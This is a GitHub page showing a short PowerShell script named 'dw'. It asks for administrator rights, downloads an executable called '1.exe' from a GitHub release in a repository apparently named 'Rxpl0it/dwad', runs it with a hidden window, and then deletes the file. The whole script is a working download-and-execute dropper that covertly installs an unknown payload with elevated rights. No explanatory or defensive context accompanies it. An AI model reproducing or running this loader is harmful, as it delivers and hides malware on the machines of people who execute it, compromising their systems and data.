-
Notifications
You must be signed in to change notification settings - Fork 0
/
dw
20 lines (16 loc) · 829 Bytes
/
dw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Self-elevate the script if required
if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
if ([int](Get-CimInstance -Class Win32_OperatingSystem | Select-Object -ExpandProperty BuildNumber) -ge 6000) {
$CommandLine = "-File `"" + $MyInvocation.MyCommand.Path + "`" " + $MyInvocation.UnboundArguments
Start-Process -FilePath PowerShell.exe -Verb Runas -ArgumentList $CommandLine
Exit
}
}
$url = "https://github.com/Rxpl0it/dwad/releases/download/wa/1.exe"
$outpath = "$env:TEMP\1.exe"
# Download the file
Invoke-WebRequest -Uri $url -OutFile $outpath
# Run the downloaded executable
Start-Process -FilePath $outpath -WindowStyle Hidden
# Clean up
Remove-Item -Path $outpath -Force